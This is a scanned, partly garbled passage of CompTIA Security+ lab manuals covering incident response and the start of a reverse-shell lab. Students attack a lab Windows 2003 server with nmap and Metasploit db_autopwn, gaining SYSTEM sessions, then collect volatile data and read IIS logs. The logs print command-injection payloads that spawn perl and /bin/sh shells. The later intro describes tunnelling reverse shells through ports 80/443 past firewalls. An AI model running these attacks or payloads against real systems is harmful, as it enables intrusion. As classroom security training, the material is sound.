Development Group (NDG), funded by the National Science Foundation’s (NSF)
Advanced Technological Education (ATE) program Department of Undergraduate
Education (DUE) Award No. 0702872 and 1002746. This series of lab exercises is
intended to support courseware for CompTIA Security+® certification.

By the end of this lab, students will learn some of the various methods that can be
utilized to determine if an attacker attempted or successfully compromised a system.
Some information about the attacker, such as their IP Address, may be lost if the
machine is shutdown. For this reason, volatile data is collected before shutting down.

This lab includes the following tasks:

e Task 1 - Using db_autopwn to Attack a Remote System
e Task 2 - Collecting Volatile Data
e Task 3 - Viewing Network Logs

2 Objective: Execute Appropriate Incident Response Procedures

If a system has been compromised, it is important to know what actions should be
taken. Appropriate actions include collecting volatile data on the system, as well as
analyzing the system logs. This will help you to understand which machines were
involved in the attack and what attackers are still currently connected to the system.

Volatile Data — When a computer is turned off, information, such as active network
connections is lost. Investigators may want to examine active connections to the
machine. Therefore, volatile data should be collected before turning off the machine.

Network Logs — When a browser connects to a web site, that activity is logged by the
system. The logs can be examined to determine the IP Addresses of connected users.

Netstat — This command can be used in the Mac, Windows, and Linux operating systems
to determine active network connections, and to determine which ports the machine is

listening on. It works for both IPv4 and IPv6 connections.

db_autopwn — db_autopwn automatically launches Metasploit exploits based on which
ports are discovered to be open on the victim’s system during the nmap scan.
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Windows Command Shell — The Windows command shell allows users to interact with
the operating system from a command line environment. Virtually anything that can be
done in the Graphical User Interface, or GUI, in Windows can be done from the
command line. The Windows Command Shell is one of the payloads that can be used
within Metasploit. If a system is vulnerable to an exploit and a hacker launches a
successful attack, a command shell can be sent from the victim’s machine to the
attacker. Once the attacker has a command shell connected to the victim’s machine,
they can run commands on the remote system.
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3 Pod Topology
BackTrack 5 Windows 7
Attack Attack

Red Hat Linux
Victim

Victim

Windows 2k3 Server

INTERNAL NETWORK

MSEC

Multi-Purpose
Security Pod

EXTERNAL NETWORK

. |

OSSN
~llllll Firewall
1

Domain: MSEC.local
192.168.100.0/24

Domain: GVPC.local
10.10.19.0/24

LiNuX
SNIFFER

BackTrack 4
Attack

Figure 1: MSEC Network Topology
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4 Lab Settings

The information in the table below will be needed in order to complete the lab. The
task sections below provide details on the use of this information.

Required Virtual Machines and Applications

Log in to the following virtual machines before starting the tasks in this lab:

BackTrack 5 Internal Attack Machine 192.168.100.3

BackTrack 5 root password password

Windows 2k3 Server Internal Victim Machine 192.168.100.201

Windows 2k3 Server administrator password password

BackTrack 5 Login:

1. Click on the BackTrack 5 icon on the topology.
2. Type root at the bt login: username prompt.
3. Type password at the Password: prompt.

Passuword: _
Figure 2: BackTrack 5 login
4. To start the GUI, type startx at the root@bt:~# prompt.

[«] To start a graphical interface, type
[%] The default root password is " =

root@bt:"# startx_

Figure 3: BackTrack 5 GUI start up
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Windows 2003 Server Login:

1. Click on the Windows 2k3 Server icon on the topology (these instructions will
work for both internal and external victim machines).

2. Enter the User name, Administrator (verify the username with your instructor).

3. Type in the Password: password and click the OK button (verify the password
with your instructor).

- ¥ Windows Server2003
¥. Standard Edition

Copyright © 1885-2003 Microsolt Carporation

User name: | Administrator

Password: l .oooooool
| Q‘§E I Cancel I Options => |

Figure 4: Windows 2k3 login
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Task 1 Using db_autopwn to Attack a Remote System

db_autopwn automatically launches Metasploit exploits for the Windows, Mac, Linux,
and UNIX operating systems, based on open ports on the system you are attempting to
attack. If a system is vulnerable to any of the exploits that the user launches, the
attacker will be able to access the victim though meterpreter or a command shell.

Task 1.1 Attacking a Remote Machine Using db_autopwn
To launch an attack using db_autopwn, perform the following steps:
1. Open aterminalin the BackTrack 5 system and type the following command into
the command prompt. It will conduct a ping scan to find hosts on a network

(Note: Linux is case sensitive, use lowercase "s" and capital "P"):
root@bt:~#nmap —sP 192.168.100.*

Starting Nmap 5.59BETAl ( http://nmap.org ) at 2012-03-25 14:08EDE
eport for 192.168.100.1
(0.00015s latency).
C Address: 00:50:56:98:00:97 (VMware)
report for 192.168.100.3

.100.5

- :98:00:1A (VMware)
r 192.168.100.147
00016s latency).
B 00:50:56:98:00:9D
Nmap scan report for 192.168.100.
Host is up (0.00013s latency).
Address: 00:50:56:98:00: (VMware)
ap done: 256 IP addresses hosts up) scanned in 460.90 seconds

Figure 5: The Results of a Ping Scan using nmap with the —sP option

The results provide several IP Addresses:

e 192.168.100.1 (gateway)
e 192.168.100.3 (attacker)
e 192.168.100.5 (attacker)
e 192.168.100.147 (victim)
e 192.168.100.201 (victim)
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Lab 6: Incident Response Procedures

We can then perform an operating system scan of the two victim machines in order to
determine which of the two machines is running the Windows operating system.

2. We will perform an operating system scan of the firewall host.
root@bt:~#nmap -0 192.168.100.1

nmap -0 192.168.100.1

e because we ¢ d not find at least 1 open and 1 closedipart

nBSD 4.3 (85%)
on-ideal).

Figure 6: An nmap scan of 192.168.100.1

We know this information about the IP Addresses identified on the network:

e 192.168.100.1 (gateway)
e 192.168.100.3 (attacker)
e 192.168.100.5 (attacker)
e 192.168.100.147 (Linux victim)
e 192.168.100.201 (victim)

We will now perform an operating system scan against the remaining victim machine.
Even though we are fairly confident it is running Windows, we will scan it anyway.

3. We will perform an operating system scan of the first victim.
root@bt:~#nmap -0 192.168.100.201
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:~# nmap -0 192.168.100.201

Starting Nmap JB Thl ( http://nmap.org ) at 2012-03-25 14:44 EDT
Nmap scan r ; r 19;.100 100.201

Host 1s uf 1_ater'| V

Not shown:

U N NN
W U1 W

0 CO
(o)

kc "beros-sec

(
[ o7 Vo = fhoy = hoom <~

L]

(e 0]
0
S o

w =
W WO

00
L]

"

J

1
1
1
3
4

el el
-

kpasswd5
http-rpc-epmap
lTdapssit
NFS-or-I
. LSA-or-n
open unknown
open sbl
open netsaint
open dcutility
open ddt
open kiosk
open globalcatLDAP
open globalcatLDAPssl
/JTCp open N
MAC Address: 00.30.30:98:00:96 (VMware)
Device type:
Running: 4"'0 oft nx\dOu_ XI
0S details: Microsoft Windows X

S5 00w
! O
A+ttt +0 O
(2]
-

(@]
]

Figure 7: An nmap scan of 192.168.100.201

The results of the nmap operating system scan indicate that the system is running
Microsoft Windows. It says it could be Windows XP SP2 or Windows Server 2003.
Some of the open ports such as Lightweight Directory Access Protocol (LDAP) and Post
Office Protocol Version 3 (POP3), indicate that the system is a server, not an XP client.

4. Open a terminal within BackTrack 5 by clicking on the terminal icon in the top
left corner and type msfconsole to launch Metasploit. The banner you see may
be different from the one shown in the picture below. Type banner to change
the banner:
root@bt:~#msfconsole
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:~# msfconsole

all trans opt: received. 2-19-98 13:24:18 REC:Loc

Trace program: running

wake up, Neo...
the matrix has you
follow the white rabbit.

knock, knock, Neo.

v4.0.0-release [co
- 361 auxiliary -
27 encoders

\nre -

harning: This copy of the Metasploit Framework was last updated :
We recommend that you update the framework at least every other day
For information on updating your copy of Metasploit, please see:

https://community.rapid7.com/docs/D0OC-1306

Figure 8: One of the banners for the msfconsole of Metasploit
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5. At the msf prompt, you can type the ? to see a list of available commands:
msf > ?

List all credentials in

Automatically '

Connect to an ex .

Disc ect from the current database instance

(filetype will be auto-detected)
put automatically

-

Q -

et et el pd el

U0

ds fods fomds

i e = 2 e = U e
()

&~~~ N D
1+

= N Y

Figure 9: Commands Available within Msfconsole

The commands listed at the end of the help are backend database commands. We can
run an nmap scan using db_nmap and the results will be sent into the database.

6. Type the following command to perform a scan on 192.168.100.201. The -T4
argument allows for a faster execution of the scan were the -A argument is used
to enable OS and version detection. The -v argument will increase the verbosity
level.
msf > nmap -T4 -A -v 192.168.100.201

> nmap -T4 -A -v 192.168.100.201

Figure 10: nmap -T4 -A -v 192.168.100.201

7. Type the following command to perform a scan and add 192.168.100.201 to
Metasploit’s backend database. Ports 21-445 will be focused on and will be
logged in the database.
msf >db_nmap 192.168.100.201 -p 21-445

msf > db nmap 192.168.100.201 -p 21-445

Figure 11: db_nmap
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The results of the nmap scan sent to the database will be displayed.

).201
ap 5.51SVN ( http://nmap.org
report for 192.168.100.201

is up (0.00085s latency).
Not shown: 975 closed ports
STATE SERVICE
Nmap: 21/tcp open f
Nmap: 23/tcp open
Nmap: 25/tcp open
Nmap: 53/tcp :
Nmap: 80/tcp
Nmap: 88/tcp
Nmap: 110/tcp
Nmap: 135/tcp
Nmap: 139/tcp
Nmap: 389/tcp
Nmap: 445/tcp .epen micraesoft-ds
Nmap: 464/tcp n kpasswd5
Nmap: 593/tcp en  http-rpc-epmap
Nmap: 636/tcp open ldapssl
Nmap: 1025/tcp
Nmap: 1026/tcp SA-
Nmap: 1028/tcp unknown
\map: 1039/tc
: 1040/tcp
1044/tcp
Nmap: 1052/tcp
Nmap: 1061/tcp
Nmap: 3268/tcp open catLDAP
Nmap: 3269/tcp open globalcatLDAPssl
: 8099/tcp open unknown
Nmap: M : 00:50:56:98:00:96 (VMware)
Nmap: M anned in 13.57 seconds

Figure 12: db_nmap results

8. Type the following command to run db_autopwn
msf > db_autopwn -p -t -e -r

> db autopwn

Figure 13: db_autopwn

The scan can take a considerable amount of time (about 5 minutes). If db_autopwn is
successful, there will be one or more active connections to the victim.
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rmation Conpnection

meterpreter x86/win32 NT AUTHORITY\SYSTEM @ WIN2K3DC 192

> 192.168.100.201: Loit/windows/c pc/ms@3 026 dcom
meterpreter x86/win32 NT AUTHORITY)\ | WIN2K3DC 192

192.168.100.201:1107 exploit/windows/smb/m 067 netapi
meterpreter x86/win32 NT AUTHORITY\SYST @ WIN2K3DC 192

-> 192.168.100.201:1109 exploit/windows/smb/ms08 067 netapi

Figure 14: Connections from the Attacker to the Victim

We now have active connections to the victim machine. We can now go to the victim
machine and collect volatile data and view the network logs.

Information provided by the active session screen, include:

e Attacker and victim ports in use
e Level of access on the victim (Example SYSTEM)
e Whether a meterpreter shell or a reverse shell has been sent to the attacker

Task 1.2 Conclusion

Metasploit is a framework that contains exploits for a variety of operating systems
including Macs, Linux, UNIX, and Windows. An attacker must be comfortable with the
commands within msfconsole to be able to set the options Metasploit requires.
However, with db_autopwn, the attacker only needs to know the IP Address of the
victim machine, which they can obtain by performing a ping scan with nmap.

Task 1.3 Discussion Questions

What is the command to scan the 192.168.100.0/24 network for hosts?

What is the command to scan 192.168.100.147 for open TCP ports?

How can you determine the operating system that the target system is running?
What command must be run before utilizing the db_autopwn command?

PwwnNeE

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA) Page 14 of 29



Lab 6: Incident Response Procedures

Task 2 Collecting Volatile Data

If a machine has been compromised, it is important to get some information off the
machine before you shut it down. Any data residing in RAM, or memory, will be gone
when the system is shutdown.

Task 2.1 Collecting Volatile Data on a Compromised Machine

Attackers have the ability to hide process and normal output that is expected when you
type a Windows command like netstat. For this reason, trusted executables, or binaries,
should be used when performing incident response. In this case, we will use the actual
executables on the compromised system just to get a feel for how incident response is
done. If this was a real compromised system, we could use a DVD with trusted binaries.

Log on to the Windows 2003 Server
1. Logon to the Microsoft Windows 2003 Server by clicking the Send Ctrl-Alt-Del

link in the bottom right hand corner of the browser window. Log on to the 2003
server with the username of Administrator and the password of password.

welcome to Windows

Neorosa

Windows Server 2003

¥ . Standard Edition

Copyrignt © 15395. 2003 Microsof! Corporation

&= Press Ctr-Alt-Delete to begin,

Requring this key combinabion at startup helps keep your
computer secure. For more infoemation, cick Help.

N  Windows Internal Server  Windows Server 2003  MSEC POD

Figure 15: Send Ctrl-Alt-Del to the Windows 2003 Server

2. Open a command prompt on the Windows 2003 System by clicking on the
shortcut to cmd.exe located on the Desktop.

Figure 16: Shortcut to Windows Command Prompt on the Victim Machine

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA) Page 15 of 29



Lab 6: Incident Response Procedures

At the command prompt, type the following command to add your investigator name to
the incident response text file you are creating. Initially, you will use a single redirect
(>). When typing subsequent commands, you will use a double redirect to append the

file.

3. Type the following command to add the investigator name to the ir.txt file:

8/15/2012

C:\echo student investigator > ir.txt

¢+ Shorkcut to cmd.exe
Ft wing
right

echo investigator student » ir. fxt

Figure 17: Sending the Output to ir.txt

To view the output, type the following command:
C:\type ir.txt

Figure 18: Output of the ir.txt file

Type the following command to add the date to the ir.txt file:
C:\date /t >> ir.txt

Figure 19: Add the Date to ir.txt

To view the output, type the following command:
C:\type ir.txt

Figure 20: Output of the ir.txt file

Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA)
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7. Type the following command to add the time to the ir.txt file.
C:\time /t >> ir.txt

Figure 21: Add the time to ir.txt

8. To view the output, type the following command:
C:\type ir.txt

Figure 22: The Output of the ir.txt file

Having the time and date included when you collect the volatile data could be important
if you are called to testify in court, or if a timeline needs to be established by the
investigator.

9. Type the following command to add the computer name to the ir.txt file:
C:\hostname >> ir.txt

C:hv=hosthname

Figure 23: Add the Computer Name to ir.txt

10. To view the output, type the following command:
C:\type ir.txt

tudent

Figure 24: Output of the ir.txt file

11. Type the following command to add the IP Address information to the ir.txt file:
C:\ipconfig /all >> ir.txt

C:h=ipconfig fall

Figure 25: Add the IP Address to ir.txt
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12. To view the output, type the following command:
C:\type ir.txt

Figure 26: The Output of the ir.txt file

It is very important to collect IP Address information because it can change. The
machine, for example could be using Dynamic Host Configuration Protocol, or DCHP.
One of the most important items to collect is the netstat data, which may indicate what
active connections are established between the victim and any attack machines.

13. Type the following command to add the netstat command to the ir.txt file:
C:\netstat —an | findstr “ESTABLISHED” >> ir.txt

| findstr "ESTAELISHED"

Figure 27: Add the netstat command to ir.txt
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14. To view the output, type the following command:
C:\type ir.txt

ESTAELI=ZHED
ESTAELTSHED
ESTAELISHED
ESTAELISHED
ESTAELISHED
ESTAELISHED
ESTAELISHED
ESTABELTSHED
ESTAELISHED
ESTAELISHED
ESTAELISHED
ESTAELISHED
ESTAELISHED
ESTABELTSHED
ESTAELTSHED
ESTAELISHED
ESTAELISHED
ESTAELISHED
ESTAELISHED

= e e e

12
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1

e et e el e el el et e el s e el e

Figure 28: Output of the ir.txt file

Notice the 3 connections to 192.168.100.3. db_autopwn established 3 connections.

15. Type the following command to add the IP route table to the ir.txt file:
C:\netstat -r >> ir.txt

Figure 29: Add the IP Route Table to ir.txt

16. To view the output, type the following command:
C:\type ir.txt

Figure 30: Output of the ir.txt file
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17. Type the following command to add the system information to the ir.txt file:
C:\systeminfo >> ir.txt

steminfo

Figure 31: Sending the Output to ir.txt

18. To view the output, type the following command:
C:\type ir.txt

Figure 32: The Output of the ir.txt file

The systeminfo command provides a lot of good detail about the computer that can be
used. The pslist command is a sysinternals command, not a default operating system
command.

19. Type the following command to add the processes to the ir.txt file:
C:\pslist >> ir.txt

inowich

Figure 33: Output of the ir.txt file

20. To view the output, type the following command:
C:\type ir.txt
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T e e Sl S ey e I e et (N RN U I I O N Y (U Y A B )

=

Figure 34: Sending the Output to ir.txt

Adding the time again will indicate when you finished collecting incident response data.

21. Type the following command to add the time to the ir.txt file.
C:\time /t>> ir.txt

Figure 35: Add the Time to ir.txt

22. To view the output, type the following command:
C:\type ir.txt

Figure 36: Output of the ir.txt file

23. To view all of the output from your incident response, type the following
command:
C:\notepad ir.txt
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e Shortcut bo cmd.exe

Cihvsnotepad . txt

B ir.tut - Notepad

File Edit Format Wew Help

irmvestigator student
sun 032572012

03:45 PM

winzk3sdc

windows IP Configuration

Host Mame . . . . « « « « « « .« . : win2k3dc
Primary Dns suffix . . . . . . . @ ptest.org
Mode Twpe . . . . . . . . . . . . @ Unknown
IP Routing Enabled. . . . . . . . & MO

WINS Proxy Enabled. . . . . . . . @ HNO

DrE suffix search List. . . . . . : ptest.org

Figure 37: View ir.txt Using Notepad

Task 2.2 Conclusion

Collecting Incident Response Data is important, because when you turn a computer off,
data residing in RAM will be gone because computer memory is volatile.

Task 2.3 Discussion Questions

What is the command to get important information about a Windows system?
What is the command to view active connections to a machine?

What is the command to list all of the processes on a machine?

What is the command to view the routing table?

B wnN e
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Task 3 Viewing Network Logs
Log files contain information about what IP Addresses connecting to your machine and
will also indicate which directories machines tried to access. Log files also include
important date and time stamps that can be used for a timeline for an investigation.
Task 3.1 Viewing Network Logs within Windows
To view the Logs in Windows, Log on to the Windows 2003 Server

1. Logon to the Microsoft Windows 2003 Server by clicking the Send Ctrl-Alt-Del

link in the bottom right hand corner of the browser window. Log on to the 2003
server with the username of Administrator and the password of password.

wWelcome to Windows

Neomso

;= Windows Server2003
¥. Standard Edition

Copyright © 13952003 Microsoft Corporation

&= Press Ctri-Alt-Delete to begin,

Requring this key combinabion at startup helps keep your
computer secure. For more Infcemation, cick Help,

N  Windows Internal Server  Windows Server 2003

Figure 38: Send Ctrl-Alt-Del to the Windows 2003 Server

2. Double click on My Computer on the Desktop.

o™

My Computer

Figure 39: My Computer
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3. Double click on Local Disk (C:)

! My Computer

File Edit Miew Favorites Tools  Help

L Back = £3 = ? | ,}:" Search [ Folde

Address | 'y My Computer

Mame | Tvpe
Hard Disk Drives

S Local Disk (D Local Disk,

Figure 40: Local Disk (C:)

4, Double click on Windows:

File Edit \Miew Fawvorikes T

@Back T igd T ?’ | /':" Searc
Address | e 1Y

Mame = I
|CZ¥Documents and Setkings
ICh1sae

[C3)Inetpub

[=SIProgram Files

3 Temp

[wmpows | <——

Figure 41: Windows Directory

5. Double click on the System32 directory:

& C:'. WINDDWS

File Edit Yiew  Faworit

@Eﬂack A _?|/':
Address IB CHWINDOWS

Mame =
Ii5chCache
Bsecurity
|hsrchasst
[T system
[ system3z |

Figure 42: System32 Directory
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6. Double click on the Logfiles directory:

& C:' WINDDWS' system32
Fi

le Edit Wiew Favorites Tool

¢ | Backu & - T | - Search
Address IE C e IO WS syskem 32

Mame |
[Chdns

[ drivers

[Chexport

GraupPalicy

|E|ias

|Chicsml

[CIME
[ﬁinetsrv
s

Figure 43: The Logfiles folder in System32

7. Double click on MSFTPSVC1

& C: WINDDWS" system32' LogFiles
Fi

e Edit Mjew Favorites Tools  Help

(JBack ~ ) ~ 7 | ) search | Fold

Address |25 C:\WINDOWS!system32|LogFiles

Marne = |

[ Cluster

[CSAHTTPERR

|5 Shukdown
[CawasvCl

Figure 44: The FTP Logs Directory

8. Double click on the log file with today’s date. The format is Year/Month/Day.

& C:\ WINDOWS" system32' LogFiles', MSFTPSYC1
Fi

le  Edit Wiew Favorites Tools  Help

QEack - &3 - ¥ | ' Search | Folders | o X E)

Address IB CHUWINDOW S, system32 LogFiles\MSFTPSYC L

| Mame =~ I Size I Tvpe

100113.log 1KE Text Document

|~.2=_w] ex120325.l0g &4 kKB Text Document

Figure 45: FTP Log files
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The log file will have the IP Address of the machine trying to attack the system.

P ex120325.log - Notepad

=0l x|

File Edit Farmat Wiew Help

#ooftware: Microsoft Internet Information services 6.0
#version: 1.0

#Date: 2012-03-25 17:34:12

#Fields: time c-ip cs-method cs-uri-stem sc-status sc-win3Z-status
17:34:12 192.168.100.3 [1]closed - 426 170

17:34:12 192.168.100.3 [2]JUSER anomymous 331 0

17:34:12 1592.168.100.3 [2]PasSs mozilla@example.com 230 O
17:34:12 1592.168.100.3 [4]UsSER 2Gxjw:) 331 O

17:34:12 1592.168.100.3 [4]Ppass — 530 1324

17:34:13 192.168.100.3 [6]JUSER anorymous 331 0

17:34:13 1592.168.100.3 [6]Pass mozilla@example.com 230 O
17:34:13 192.168.100.3 [B]JUSER anorymous 331 0

17:34:13 1592.168.100.3 [8]Pass mozilla@example.com 230 0
17:34:14 192.168.100.3 [10JUSER anorymous 331 0

17:34:14 152.168.100.3 [10]Pass mozilla@example.com 230 0O
17:34:14 152.168.100.3 [12]USER anonmymous 331 O

17:34:14 152.168.100.3 [11]USER anonymous 331 0

17:34:14 152.168.100.3 [12]closed - 426 170

17:34:14 152.168.100.3 [11]PASS mozilla@®example.com 230 O
17:34:18 192.168.100.3 [11]closed - 426 &4

17:34:18 192.168.100.3 [14]

17:34:18 192.168.100.3 [15]USER DESHMP 331 0O

17:34:158 192.168.100.3 [15]Pass - 530 1324

17:34:18 152.168.100.3 [16]USER anonymous 331 0

17:34:18 192.168.100.3 [15]cTlosed - 426 170

17:34:18 192.168.100.3 [18]USER anorymous 331 0

17:34:18 192.168.100.3 [16]Pass mozilla@example.com 230 0O
17:34:18 192.168.100.3 [18]Pass mozilla@example.com 230 0
17:34:1%9 192.168.100.3 [18]MKD RUBLMORFTH 550 5

17:34:19 152.168.100.3 [1S]USER anonymous 331 O

17:34:1%9 192.168.100.3 [20]JUSER anorymous 331 0

17:34:19 152.168.100.3 [19]Pass mozilla@example.com 230 0
17:34:19 152.168.100.3 [20]Pass mozilla@example.com 230 O
17:34:19 192.168.100.3 [19]MKD 41414141 550 5

17:34:1% 152.168.100.3 [19]CwD 41414141 550 2

17:34:21 152.168.100.3 [23]USER anonymous 331 0

17:34:21 192.168.100.3 [22]JUSER anonymous 331 0

17:34:21 152.168.100.3 [23]PAsSS mozilla@example.com 230 O
17:34:21 192.1658.100.3 [24]USER anomymous 331 0

17:34:21 192.168.100.3 [24]Pass mozilla@example.com 230 0
17:34:21 152.168.100.3 [25]USER anonymous 331 0

4 |

USER A'rEFOI$©TKOITI—  +60499C " sA-¥—4°0, 0; 430" 07 J0™NOKD | £ =2 4r 02~ ISGUE &1 16

Figure 46: The FTP Log file

Close the File Transfer Protocol (FTP) Log file when you are finished viewing the file.

9. Click the Back button to return to the Logfiles Directory.

& C:\ WINDDWS' system32' LogFiles'MSFTPSYC1

File Edit Mew Favorites Tools  Help

9 - (| Psearch [ Folders | [ 3 3

Address |5 CAWINDOWS)system32\LogFiles\MSFTRSVC]

Size | Tvpe
1KE Texk Do
64 kB Text Doc

Mame = |

[E] ex120325.log

Figure 47: Returning to the Logfiles Directory
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10. Double click on the W3SVC1 folder

SWINDOWS' system 32 LogFiles

File Edit Wew Favorites Tools

0 Backu n&) 1?' | ' Search

Address IE CW RO S syskem 32 | LogF

Mame  ~ |
I Chuster

[C3IHTTPERR

[CIMSFTRSVCL

I Shukdown

Figure 48: The W3SVC1 Directory

11. Double click on the log file with today’s date. The format is Year/Month/Day.

Address I:J W IRDOW Shsystem 32 LogFiles) WashiC 1

Mame - | Size | Twpe
S92 KB Text Docurment
Ea] ex111024.log 1 KB Texk Document

Figure 49: The list of Web Logfiles

The log file will have the IP Address of the machine trying to attack the system.
Browsing through the log file, you will see some strange requests from the attacker.

File Edit

P ex120325.l0g - Notepad

Farmat  Wiew Help

=10l ]

#hate:

#Fields:
20012-03-
2012-03-
20012-03-
20012-03-
20012-035-

GI3NOZ, chr%28120%29 SX2v4ZWMnkwFuzCEkh1zbhbCgnez

Msoftware: microsoft Internet Information Services 6.0
#version: 1.0

2012-03-25 17:34:25

25 17:34:25 192.168.100.201 GET Sindex.htm - 80 - 19%2.168.100.3 Mozi1las4. 0+Ccompati

date time s-ip cs-method cs-uri-stem cs-uri-guery s-port cs-username c-ip cs(user—AEent) sC-status sc-substatus sc
Te;+MSIE+G. O; +windows+NT+5.10

25 17:34:25 192.168.100.201 POST Aapply.cgi - 80 - 152.168.100.3 Mozilla/4.0+(compatible; +MSIE+E, O; +windows+NT+5. 10
25 17:34:25 192,168,100, 201 <ET Jcgi-bindSoftcart.exe - 80 - 192.168.100.3 Mozillasd. O+{compatible; +MSTE+HS. O; +winde
25 17:34:25 192,168,100, 201 ET Sindex.htm - 80 - 1592.168.100.3 Mozi11a/4. 0+(compatible; +MSIE+S. O +windows+NT+5.10
25 17:34:25 192.168.100.201 GET Sexec_raw.php cmd=echoX20%22%3c¥3fphp%oaeval¥28basetd®iTdecode®2B8Cok ICUBZZXRTAGTTZY
Lsvwlszscrogk acsrvvknsPsdpbl 9hondhescrcgk J00od . Cal p2 i gk y ThxwFRSVIgncGFzc3R0ChUnkwWFUZCEK hlZDbCgnoaF zo3ROCNUNLCRUVIWRZLF kS 17
h1EG chr¥28l20%29, F2xh1vycs IFRWEVENUwWS pRxs ook JCSRIRZpLEF T PeoZw. chr¥2 8120

2012-03-25 134126 162.168.100.201 POST Scgi-binsck/mimencode —u+-o+spamkeeper.dat 80 - 152.068.100.3 - 404 0 &4

Z012-03-25 : 162.168.100. 201 GET scgi-binsawstats.pl configdir=|echo; echo®20vyy; perl1%20-MI0%k2 0-a%20%2 FE24pk3dfork¥sk
2012-03-25 152,168,100, 201 SET fcgi-binfawstats.pl migrate=|echo; echD%ZOYYY cd%zoftm %2 0%2 6%26per 1%2 0-MIO%2 0-e%2 0%
2012-03-25 192,168,100, 201 GET Aawstatstotals awstatstotals.php sort="]. passthru( ecﬁ0%20YYY per 152 0-mIok2 0-a%2 0%:
2012-03-25 192.168.100, 201 GET Sogi-binSimg.pl f=00 00 A A A0/ 0 /bin/shxzo- c%20%22echo%20%2?vvv%2?%3b%20pe
2012-03-25 192.168.100, 201 GET Japi/ orders. ]SDH search[1nstance eva1] Kerne1 Fork&x20dox60, 010 echo%2 0-ne2 0%2 7« 6e
2012-03-25 152.168.100. 201 GET Scactisgraph_view.php action=1ist 80 - 192.168.100.3 Mozillas 4. 0+(compatible; +MSIE+
2012-03-25 192.168.100, 201 PosT Aindex.htm - 80 - 15%2.168.100.3 M02111a/4.0+(c0mpat1b1e;+MSIE+6.0;+W1nd0ws+NT+5.1,
2012-03-25 192.168.100.201 GET shases/base_gry_common. php BASE_path=%6Bx74X74%7 0%3 a2 FX2TH31%30%3 2%2 eX31%36%3 BX2 eX=

Figure 50: Web Log file

12. Close the World Wide Web (WWW) log file when you are finished viewing the
file.
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Task 3.2 Conclusion

Log files have information about the IP Address making connections to the machines.
Log files are organized by date and are located in the Logfiles directory in System32.

Task 3.3 Discussion Questions

Where are the log files stored on a Windows system?
Where are the FTP log files stored on a Windows system?
Where are the WWW log files stored on a Windows system?
Explain the naming format for log files within Windows.

A
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http://www.iis.net/

2. Nmap:
http://nmap.org/

3. BackTrack Linux:
http://www.backtrack-linux.org/

4. Metasploit’s Meterpreter:
http://dev.metasploit.com/documents/meterpreter.pdf

5. Metasploit:
http://metasploit.com/

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA) Page 29 of 29



CompTIA Security+® Lab Series

Lab 7: Analyze and Differentiate Types of
Malware

CompTIA Security+® Domain 3 - Threats and Vulnerabilities
Objective 3.1: Analyze and differentiate among types of malware

Document Version: 2012-08-15 (Beta)

Lab Author: Jesse Varsalone
Assistant Professor
Cyber Security
Organization: Community College of Baltimore County

Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA)

The development of this document is funded by the National Science Foundation’s (NSF) Advanced Technological Education (ATE)
program Department of Undergraduate Education (DUE) Award No. 0702872 and 1002746; Center for Systems Security and
Information Assurance (CSSIA) is an entity of Moraine Valley Community College. Permission is granted to copy, distribute and/or
modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the
Free Software Foundation. A copy of this license can be found at http://www.gnu.org/licenses/fdl.html.




Lab 7: Analyze and Differentiate Types of Malware

Contents
1 INTFOAUCTION ceeeie ettt et e e st e e e sttt e e e e sabeeeeesteeeesasreenesasansneeesnns 3
2 Objective: Analyze and differentiate among types of malware.........cccocecvviveeeeennnnnns 4
S I oo Yo I o] oY) Lo} -4V USSR 5
N I |« B =Y ] = £ PERRR 6
Task 1 Using Netcat to Send a Reverse Shell ... 8
Task 1.1 USING NELCAt..ccci it e e e e e e e e e s et eae e e e e e ennnnns 8
TasK 1.2 CONCIUSION ccuiitiiiiiiiitt ettt e et e e st e e s st e e e e sabtneeesnteeesansneneean 15
Task 1.3 DisCUSSION QUESTIONS ...uvveeeeiirieeeaiiiieeeesiiireeesiirreeessireeesssrereeesennsreeesasneeeas 15
Task 2 Using Ncat to Send a Reverse Shell........iiiiieiie e 16
Task 2.1 USING NCAt .eeiiiii et e e e e e e e s e e e e e e e e e antaeeeeaeesennnnns 16
TasK 2.2 CONCIUSION ccuiiiiiieiiite ettt ettt e st e st e e s s sabe e e e e sabtr e e e snteeesansneneean 19
Task 2.3 DisCUSSION QUESTIONS ....uvveeeriiiieeeaiiiieeesiitreeessireeessstreeessneeeeesensreeesansneeens 19
Task 3 Sending a Bash Shell to a Windows Machine using Netcat ..........cccccvveveeeinnnns 20
Task 3.1 Sending a Linux Shell to a Remote System .......ccceveiiiiieniiieeeeee e 20
Task 3.2 CONCIUSION .cciieeeee e e e e e e e et aae e e e e e e eaans 24
Task 3.3 DiscusSion QUESTIONS ....ccceeuiiiiiiiie et et e e ee et eaeeeeeans 24
D RETEIENCES e e e e e e e e e e e e e et aaaaaaas 25

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA) Page 2 of 25



Lab 7: Analyze and Differentiate Types of Malware

1 Introduction

This lab is part of a series of lab exercises designed through a grant initiative by the
Center for Systems Security and Information Assurance (CSSIA) and the Network
Development Group (NDG), funded by the National Science Foundation’s (NSF)
Advanced Technological Education (ATE) program Department of Undergraduate
Education (DUE) Award No. 0702872 and 1002746. This series of lab exercises is
intended to support courseware for CompTIA Security+® certification

By the end of this lab, students will be able to send a command shell from one machine
to another. Tools like netcat and nmap can be used to send a command shell to another
machine on the network. A person on the inside of the network has the ability to send a
reverse shell to a machine on the Internet. Even if the company firewall is blocking all
outbound ports except 80 and 443, the attacker can use those ports to forward a
command shell. Normally, you do not want command shells sent out of your network.

This lab includes the following tasks:
e Task 1 - Using Netcat to Send a Reverse Shell

e Task 2 - Using Ncat to Send a Reverse Shell
e Task 3 - Sending an Bash Shell to a Windows Machine using Netcat
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2 Objective: Analyze and differentiate among types of malware

There are many tools within a hacker’s toolkit that can do amazing things to a victim’s
machine. Some of the tools that may exist within a hacker’s toolbox, such as nmap and
ncat, will allow the hacker to send a command shell to a remote machine. With a shell
on the remote machine, a hacker can perform administrative tasks and view or delete
data.

For this lab, the following terms and concepts will be of use:

Netcat [1] — The utility, which works in Windows and Linux, is often referred to as a
Swiss Army Knife, because it has many capabilities. Netcat can be used to scan for open
